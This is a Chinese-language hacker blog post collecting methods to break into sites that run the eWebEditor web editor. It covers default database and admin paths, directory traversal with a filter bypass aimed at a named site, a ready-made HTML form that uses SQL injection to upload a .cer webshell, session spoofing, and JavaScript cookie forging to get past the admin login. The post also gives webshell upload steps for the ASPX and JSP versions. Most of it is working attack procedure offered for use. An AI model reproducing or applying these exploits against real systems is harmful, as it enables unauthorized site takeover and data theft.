转载请注明Minghacker's
Ewebeditor编辑器目前分为asp,aspx,php,jsp四种程序,各类ewebeditor版本很多,功能强大颇收使用者喜爱,在国内使用极为广泛。于是像windows一样被黑客们挖掘出很多漏洞,大家莫急,笔者Minghacker总结前人基础,一一道来。
对于目前asp版本的ewebeditor编辑器漏洞主要分为以下7点:
默认,遍历目录漏洞,一句话,注入,构造,cookie欺骗,社工(踩脚印入侵),
NO1.ewebeditor编辑器一般默认数据库路径是db/ewebeditor.mdb 
默认的后台路径是admin_login.asp 
建议最好检测下admin_style.asp文件是否可以直接访问
举例:












数据库SouthidcEditor\Datas\SouthidcEditor.mdb
没登陆页面。
利用方法:PopUp.asp页面传图片小马,nc提交,得shell
NO2.遍历目录漏洞(具体如下):
登陆编辑器---上传文件管理---选择样式目录(随便选一个目录) 
得到:
ewebeditor/admin_uploadfile.asp?id=14
在id=14后面添加&dir=..
再加 &dir=../..
&dir=../../../.. 看到整个网站文件了
此漏洞危害大大的,绝对恐怖
NO3.当数据库被管理员修改为asp、asa后缀的时候,可以插一句话木马服务端进入数据库,然后一句话木马客户端连接拿下webshell
NO4.有的时候爆了数据库找不到后台地址让人发急,其实可以试试查看样式表,有没别人加入的asp、asa后缀样式表,也就是虽说的踩着脚印入侵。 
还有的时候聪明的管理员也就是加“#”不妨社工试试,我可没少占便宜的 
例如:db/#ewebeditor.asa、db/#ewebeditor.asp 、db/#ewebeditor.mdb
NO5.注入2.1.6的注入就不多说了,如下保存为html文件修改action,直接上传cer马
<H1>ewebeditor asp版 2.1.6 上传漏洞利用程序----</H1><br><br>
<form action="http://127.1/e/upload.asp?action=save&type=IMAGE&style=luoye' union select S_ID,S_Name,S_Dir,S_CSS,S_UploadDir,S_Width,S_Height,S_Memo,S_IsSys,S_FileExt,S_FlashExt, [S_ImageExt]%2b'|cer',S_MediaExt,S_FileSize,S_FlashSize,S_ImageSize,S_MediaSize,S_StateFlag,S_DetectFromWord,S_InitMode,S_BaseUrl from ewebeditor_style where s_name='standard'and'a'='a" method=post name=myform enctype="multipart/form-data">
<input type=file name=uploadfile size=100><br><br>
<input type=submit value=Fuck>
</form>
     ewebeditor 5.2 列目录漏洞
出现漏洞的文件存在于ewebeditor/asp/browse.asp
ASP/Visual Basic代码
Function GetList() 
Dim s_List, s_Url 
s_List = "" 
Dim oFSO, oUploadFolder, oUploadFiles, oUploadFile, sFileName 
'Response.Write sCurrDir 
'On Error Resume Next 
Set oFSO = Server.CreateObject("Scripting.FileSystemObject") 
Set oUploadFolder = oFSO.GetFolder(Server.MapPath(sCurrDir)) 
'注意一下sCurrDir变量,这个值等下我们可以用到 
If Err.Number>0 Then 
s_List = "" 
Exit Function 
End If
If sDir <> "" Then 
If InstrRev(sDir, "/") > 1 Then 
s_Url= Left(sDir, InstrRev(sDir, "/") - 1) 
Else 
s_Url = "" 
End If
s_List = s_List & "" & _ 
"" & _ 
".." & _ 
" " & _ 
"" 
End If 
'Response.Write sDir&"!"&s_List
Dim oSubFolder 
For Each oSubFolder In oUploadFolder.SubFolders 
'Response.Write oUploadFolder.SubFolders 
If sDir = "" Then 
s_Url = oSubFolder.Name 
Else 
s_Url = sDir & "/" & oSubFolder.Name 
End If 
s_List = s_List & "" & _ 
"" & _ 
"" & oSubFolder.Name & "" & _ 
" " & _ 
"" 
Next 
'Response.Write s_List
Set oUploadFiles = oUploadFolder.Files
For Each oUploadFile In oUploadFiles 
'Response.Write oUploadFile.Name 
sFileName = oUploadFile.Name 
If CheckValidExt(sFileName) = True Then 
'这行让人有点郁闷,检测了所有允许的文件后缀,如不允许就无法列出,不然就不只列出目录名和图片文件了 
If sDir = "" Then 
s_Url = sContentPath & sFileName 
Else 
s_Url = sContentPath & sDir & "/" & sFileName 
End If
s_List = s_List & "" & _ 
"" & FileName2Pic(sFileName) & "" & _ 
"" & sFileName & "" & _ 
"" & GetSizeUnit(oUploadFile.size) & "" & _ 
"" 
End If 
Next 
Set oUploadFolder = Nothing 
Set oUploadFiles = Nothing 
'Response.Write Server.HTMLEncode(s_List)&"!"&s_Url
If sDir = "" Then 
s_Url = "" 
's_Url = "/" 
Else 
s_Url = "/" & sDir & "" 
's_Url = "/" & sDir & "/" 
End If
s_List = s_List & "" 
s_List = HTML2JS(s_List) 
'Response.Write Server.HTMLEncode(s_List)&"!"&s_Url 
s_List = "parent.setDirList(""" & s_List & """, """ & s_Url & """)" 
GetList = s_List 
End Function 
'如果没有下面这步检测的话,应该就可以列出目录中所有的文件了,有点郁闷..现在只能列出允许后缀的文件和目录名 
Function CheckValidExt(s_FileName) 
If sAllowExt = "" Then 
CheckValidExt = True 
Exit Function 
End If
Dim i, aExt, sExt 
sExt = LCase(Mid(s_FileName, InStrRev(s_FileName, ".") + 1)) 
CheckValidExt = False 
aExt = Split(LCase(sAllowExt), "|") 
For i = 0 To UBound(aExt) 
If aExt(i) = sExt Then 
CheckValidExt = True 
Exit Function 
End If 
Next 
End Function 
'我们顺着代码往下找,发现sCurrDir的值是通过下面的值得到的 
Sub InitParam() 
sType = UCase(Trim(Request.QueryString("type"))) 
sStyleName = Trim(Request.QueryString("style"))
Dim i, aStyleConfig, bValidStyle 
bValidStyle = False 
For i = 1 To Ubound(aStyle) 
aStyleConfig = Split(aStyle(i), "|||") 
If Lcase(sStyleName) = Lcase(aStyleConfig(0)) Then 
bValidStyle = True 
Exit For 
End If 
Next
If bValidStyle = False Then 
OutScript("alert('Invalid Style.')") 
End If
sBaseUrl = aStyleConfig(19) 
'nAllowBrowse = CLng(aStyleConfig(43)) 
nAllowBrowse = 1
If nAllowBrowse <> 1 Then 
OutScript("alert('Do not allow browse!')") 
End If
sUploadDir = aStyleConfig(3) 
If Left(sUploadDir, 1) <> "/" Then 
Select Case sType 
Case "REMOTE" 
sUploadDir = "../../" & sUploadDir & "Image/" 
Case "FILE" 
sUploadDir = "../../" & sUploadDir & "Other/" 
Case "MEDIA" 
sUploadDir = "../../" & sUploadDir & "Media/" 
Case "FLASH" 
sUploadDir = "../../" & sUploadDir & "Flash/" 
Case Else 
sUploadDir = "../../" & sUploadDir & "Image/" 
End Select 
End If 
'sUploadDir =sUploadDir &"/"
Select Case sBaseUrl 
Case "0" 
'sContentPath = aStyleConfig(23) 
Select Case sType 
Case "REMOTE" 
sContentPath = "../" & aStyleConfig(3) & "Image/" 
Case "FILE" 
sContentPath = "../" & aStyleConfig(3) & "Other/" 
Case "MEDIA" 
sContentPath = "../" & aStyleConfig(3) & "Media/" 
Case "FLASH" 
sContentPath = "../" & aStyleConfig(3) & "Flash/" 
Case Else 
sContentPath = "../" & aStyleConfig(3) & "Image/" 
End Select 
Case "1" 
sContentPath = RelativePath2RootPath(sUploadDir) 
Case "2" 
sContentPath = RootPath2DomainPath(RelativePath2RootPath(sUploadDir)) 
End Select
Select Case sType 
Case "REMOTE" 
sAllowExt = aStyleConfig(10) 
Case "FILE" 
sAllowExt = aStyleConfig(6) 
Case "MEDIA" 
sAllowExt = aStyleConfig(9) 
Case "FLASH" 
sAllowExt = aStyleConfig(7) 
Case Else 
sAllowExt = aStyleConfig(8) 
End Select
sCurrDir = sUploadDir '注意这里,这个是得到了配置的路径地址 
sDir = Trim(Request("dir")) '得到dir变量 
sDir = Replace(sDir, "\", "/") '对dir变量进行过滤 
sDir = Replace(sDir, "../", "") 
sDir = Replace(sDir, "./", "") 
If sDir <> "" Then 
If CheckValidDir(Server.Mappath(sUploadDir & sDir)) = True Then 
sCurrDir = sUploadDir & sDir & "/" 
'重点就在这里了,看到没有,当sUploadDir & sDir存在的时候,sCurrDir就为sUploadDir & sDir的值了 
'虽然上面对sDir进行了过滤,不过我们完全可以跳过.具体利用st0p会在下面的利用中给出 
Else 
sDir = "" 
End If 
End If
End Sub
嘿嘿,看到这你应该明白了,其实就是对dir过滤的问题,我们完全可以构造特殊的值来跳过验证,这样就可以得到目录结构和显示设置文件中允许的文件后缀的文件了..
利用方法如下
http://www.st0p.org/ewebeditor/asp/browse.asp?style=standard650&dir=…././/..
由于st0p测试的时候,上传目录是根目录下的uploadfile,通过上面的地址就可以得到根目录下的所有目录了.
嘿嘿,如果你发现打开的时候显示的是空白,不要灰心,这就对了,直接查看源代码,看到了吗,里面就有你根目录的目录名字了.
嘿嘿,他根目录下有个guest目录,我们通过下面的地址可以列出他下面的结构
http://www.st0p.org/ewebeditor/asp/browse.asp?style=standard650&dir=…././/…././/guest
然后我们也可以通过
http://www.st0p.org/ewebeditor/asp/browse.asp?style=standard650&dir=…././/../…././/..
可以往更上层跳,我测试的那个虚拟主机,得到的是www,logfile,datebase这三个目录.
   eWebEditorv5.5asp存在session欺骗漏洞!
记得以前eWebEditor在线编辑器有个session欺骗漏洞没想到5.5版本也存在!
代码如下:
'登录检查
Function ChkLogin()
If session("editor_admin")="" or IsNull(session("editor_admin")) Then 
     PhilLogin()
   session.CodePage = session("PreCodePage")
   response.End 
End If 
End Function
呵呵很明显和以前的版本漏洞一样!
只是判断了session.
利用方法:
新建立个hkok8.asp内容为
<%Session("editor_admin") = "admin"%>
然后访问hkok8.asp 最后访问登陆文件.刷新ok进去了...
要进行这种Session欺骗,必须有三个前提:
1.进行欺骗的网页和被欺骗的网页必须位于同一个网站内.
2.必须知道管理页面。
3.必须知道Session变量以及它的限制条件。
    php版ewebeditor 3.8的漏洞
php版本后台是调用../ewebeditor/admin/config.php,大家去看下源码就知道,在这里我说说利用方法:
1 首先当然要找到登陆后台,默认是../eWebEditor/admin/login.php,进入后台后随便输入一个用户和密码,当然会提示出错了,必须是出错的时候,然后这时候你清空浏览器的url,然后输入javascript:alert(document.cookie=”adminuser=”+escape(”admin”));javascript:alert(document.cookie=”adminpass=”+escape(”admin”));javascript:alert(document.cookie=”admindj=”+escape(”1″));后三次回车,
2 然后输入正常情况才能访问的文件../ewebeditor/admin/default.php就可以进后台了
3 后面的利用和asp一样,新增样式修改上传,就ok了
测试一下asp 2.8版本的,竟然一样可以用,爽,看来asp版的应该可以通杀(只测试2.8的,貌似2.8是最高版本的)
aspx的版本../ewebeditor/admin/upload.aspx添好本地的cer的Shell文件,在浏揽器输入javascript:lbtnUpload.click();就能得到shell
jsp的上传漏洞以及那个出了N久了,由于没有上传按钮,选择好要上传的shell,直接回车就可以了